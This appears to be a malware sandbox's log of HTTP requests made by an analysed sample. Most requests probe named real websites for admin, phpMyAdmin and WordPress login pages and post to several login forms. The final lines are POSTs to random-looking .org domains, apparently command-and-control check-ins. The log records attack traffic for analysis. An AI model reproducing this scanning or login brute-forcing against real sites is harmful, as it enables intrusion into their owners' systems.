Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=96d05ef646f3836be2e57de4c39861ecdf49ab4f-1703038414; __cf_bm=yVhlr5MeNvm9nwISYn5vZTkoQGjnLA.Eq0SJLjSG2GQ-1703038414-1-AaqHFhIlwdYhTPbV8Us0b6GycSh7GFyjbPGB+LbzH4Eljr1H7OE79yhoat8fSdlsiC1Yj84MoqfEg1j5KMaI41g=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=c6e09bdc984b5644856c68440dc2c92d369dc477-1703038413; __cf_bm=xsE.mEgfV7xWnwY62Ax3erGMxF2DlmM9TRkZnS6c1eM-1703038413-1-AU1nzLQ3f/X3DXkufPWlB4TRaS1mlivhlU88oYpkkmIz6HDKfRPlnVv8f/DreHls7dCZ7ADIhtrnJ5zIG9GPW7Q=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.phpContent-Length: 137Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=ddf24e4f35a024d9f5f3b3f7192a20f0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/wp-login.phpContent-Length: 136Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=5p41teplhp36o26j7uknhqhcqt; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 161Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1Host: sites.google.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://sites.google.com/a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP+Cookie+checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1Content-Length: 150Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1Host: cgi-sys.server294.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: www.rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/wp-login.phpContent-Length: 144Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=affa9b41577ea3b7472fa0a7d04cd9b5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.phpContent-Length: 145Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1Host: cgi-sys.server294.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1Host: sites.google.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP+Cookie+checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1Content-Length: 128Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/wp-login.phpContent-Length: 145Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=1defdf9a4835566493b8f00f7d3322bf6dc65a2f-1703038421; __cf_bm=TPZ.yFoYMiOUwrWPAVnBvBYXlAVhoKRPi7wj0DXTWeA-1703038421-1-Ac3RFzeLkInDtOmZlMxvng4l7K4FxnvMjwqDEDPU8oYqjzp/wz5nRWBDzaplLA/sG+I/35pd7LSZhGIFiklcN0o=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lkxwbmwlovgjxl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: sumagulituyo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smbideuffuovv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: snukerukeutit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bdaxyrbesnacvmlo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: lightseinsteniki.org
